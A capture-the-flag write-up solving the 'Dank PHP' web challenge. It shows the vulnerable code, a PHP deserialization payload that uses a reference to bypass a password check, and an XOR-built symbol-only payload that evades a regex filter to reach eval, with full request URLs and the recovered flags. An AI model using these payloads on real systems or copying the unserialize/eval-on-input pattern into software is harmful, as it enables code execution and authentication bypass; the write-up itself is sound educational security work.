Challenge data
- Name: Dank PHP
- Category: Web
- Points: 375
Solution
The statement of the challenge was just a link to a page containing the following PHP code: http://104.197.168.32:17010/
<?php
include "flag.php";
show_source(__FILE__);
class user {
var $name;
var $pass;
var $secret;
}
if (isset($_GET['id'])) {
$id = $_GET['id'];
$usr = unserialize($id);
if ($usr) {
$usr->secret = $flag1;
if ($usr->name === "admin" && $usr->pass === $usr->secret) {
echo "Congratulation! Here is something for you... " . $usr->pass;
if (isset($_GET['caption'])) {
$cap = $_GET['caption'];
if (strlen($cap) > 45) {
die("Naaaah, Take rest now");
}
if (preg_match("/[A-Za-z0-9]+/", $cap)) {
die("Don't mess with the best language!!");
}
eval($cap);
// Try to execute echoFlag()
} else {
echo "NVM You are not eligible";
}
} else {
echo "Oh no... You can't fool me";
}
} else {
echo "are you trolling?";
}
} else {
echo "Go and watch some Youthoob Tutorials Kidosss!!";
}
>
I'm not good a PHP, however I decided to go over it to practice.
The flag was divided in two parts, so lets go in order:
1st flag: PHP serialization
For this part, we are only going to focus on the following part of the code:
<?php
include "flag.php";
show_source(__FILE__);
class user {
var $name;
var $pass;
var $secret;
}
if (isset($_GET['id'])) {
$id = $_GET['id'];
$usr = unserialize($id);
if ($usr) {
$usr->secret = $flag1;
if ($usr->name === "admin" && $usr->pass === $usr->secret) {
echo "Congratulation! Here is something for you... " . $usr->pass;
In order to get the first part of the flag, we should be able to execute the last line. Therefore, we should met all the previous conditions in order to get there: 1. We need to serialize an object with the format of the class User. 2. We need to send this serialized object thought the id parameter. 3. This object should have the value admin in the name attribute. 4. This object should have the SAME value in the secret and pass attributes. 5. The value of secret and pass must be the value of $flag1, which is totally unknown for us.
To start we need to serialize this object. How serialization works in PHP? No idea. I came across this blog, which explain a little about it. However, the most important resource I got from here was the tool php-cli who let me test my own PHP code :). So now, instead of forging the PHP serialized object manually (first idea), let's let PHP forge it for us :).
Once downloaded, I start writing my own code:
<?php
// Build the same class
class user{
var $name;
var $pass;
var $secret;
}
// Create the object
$user = new User;
// Assign values
$user->name = "admin";
$user->secret = "ANYTHING";
// Aliasing!
$user->pass = &$user->secret;
// Print out the serialized object
echo serialize($user);
?>
The most important thing from this code was the part of the Aliasing. In order to get the same value as the attribute secret will have (the value of $flag1) we needed to define pass as a reference to secret.
The output of this code was:
O:4:"user":3:{s:4:"name";s:5:"admin";s:4:"pass";s:8:"ANYTHING";s:6:"secret";R:3;}
As you can see, after the secret part we have an R, which I think it stands for Reference.
If we know send this object via parameter id, we get the first part of the flag:
http://104.197.168.32:17010/?id=O:4:"user":3:{s:4:"name";s:5:"admin";s:4:"pass";s:8:"ANYTHING";s:6:"secret";R:3;}
<strong>infernoCTF{pHp_1s_</strong>
2nd Flag: non-alphanumeric code
Once we are here, we can kind of forget of the previous part and just focus on the following piece of PHP code:
if (isset($_GET['caption'])) {
$cap = $_GET['caption'];
if (strlen($cap) > 45) {
die("Naaaah, Take rest now");
}
if (preg_match("/[A-Za-z0-9]+/", $cap)) {
die("Don't mess with the best language!!");
}
eval($cap);
// Try to execute echoFlag()
}
else {
echo "NVM You are not eligible";
}
At first, to solve this, I thought the following possibilities: 1. Bypass the regex. 2. Exploit some vulnerability in preg_match. 3. Execute some code only written with symbols.
After some time searching, I found this blog. Which was basically executing PHP code, only using symbols by doing some interesting trick with XOR.
However, his trick was using a large amount of chars, and I only had 45 as maximum). Therefore, I built my own payload, using his trick. Let's first explain a little bit about it.
The trick
Quick and dirty explained, the trick consists on definint a variable as a symbol, and then xoring it with another symbol to get the letter you want. For example, if you XOR the symbols } and < you get a G:
<?php
$_="{";
$_=($_^"<");
echo $_;'
>
The answer will be G.
Therefore, going back to our example, my idea was to use this to build the string echoFlag(); which would be executed later on by the eval.
We had to find a combination of symbols that once xored, will write the each of the letter of echoFlag. In order to get that I wrote a tiny and dirty python script:
def get_symbols_for(needed_char):
symbols = "!\"#$%&\'()*+,-./:;?@[\\]^_`{|}~"
for symbol in symbols:
blah = chr(ord(symbol) ^ ord(needed_char))
if blah in symbols:
print("Symbols {} and {} can be usd for char {}".format(blah, symbol, needed_char))
return
print("No symbols found :(")
for char in "echoFlag":
get_symbols_for(char)
Once executed the answer was:
Symbols @ and % can be usd for char e
Symbols @ and # can be usd for char c
Symbols @ and ( can be usd for char h
Symbols @ and / can be usd for char o
Symbols = and { can be usd for char F
Symbols @ and , can be usd for char l
Symbols @ and ! can be usd for char a
Symbols < and [ can be usd for char g
Cool. Now we have which symbols we need to xor to get our string.
Let's test locally if this will work:
<?php
function echoFlag(){
echo "It has been called!";
}
$cap = '$_=("%#(/{,!["^"@@@@=@@<");$_();';
eval($cap);
?>
This is the last version, I went trough some intermediate states that I don't thing are relevant.
Once executed, the output was: It has been called!.
Meaning it worked successfully! Let's send this payload through the cap parameter (don't forget to send the payload of the first part as well!)
http://104.197.168.32:17010/?id=O:4:"user":3:{s:4:"name";s:5:"admin";s:4:"pass";s:8:"ANYTHING";s:6:"secret";R:3;}&caption=$_=("%#(/{,!["^"@@@@=@@<");$_();
<strong>infernoCTF{pHp_1s_</strong>
Buhh! It didn't work. After some time, I figured it out that was because the # wasn't encoded :|. Let's try again:
http://104.197.168.32:17010/?id=O:4:"user":3:{s:4:"name";s:5:"admin";s:4:"pass";s:8:"ANYTHING";s:6:"secret";R:3;}&caption=$_=("%%23(/{,!["^"@@@@=@@<");$_();
<strong>infernoCTF{pHp_1s_</strong>
<br>
<strong>a_h34dache}
Yess! Here is the second part of the flag: ia_h34dache} And we use only 32 chars instead of the max 45 (;))
Flag
infernoCTF{pHp_1s_a_h34dache}